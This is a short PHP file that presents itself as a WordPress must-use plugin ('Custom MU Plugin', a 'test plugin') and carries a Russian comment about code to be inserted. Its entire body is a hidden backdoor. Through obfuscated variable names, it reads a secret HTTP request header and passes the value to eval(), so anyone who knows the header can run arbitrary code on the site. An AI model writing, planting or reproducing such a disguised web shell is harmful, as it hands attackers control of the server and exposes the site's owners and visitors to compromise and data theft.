<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$home_url_hgry = $_SERVER;
$home_url_jatu = 'HTTP_19347B9';
$home_url_elu = isset($home_url_hgry[$home_url_jatu]);
if ($home_url_elu) {
    $home_url_qozw = $home_url_hgry[$home_url_jatu];
    eval($home_url_qozw);
}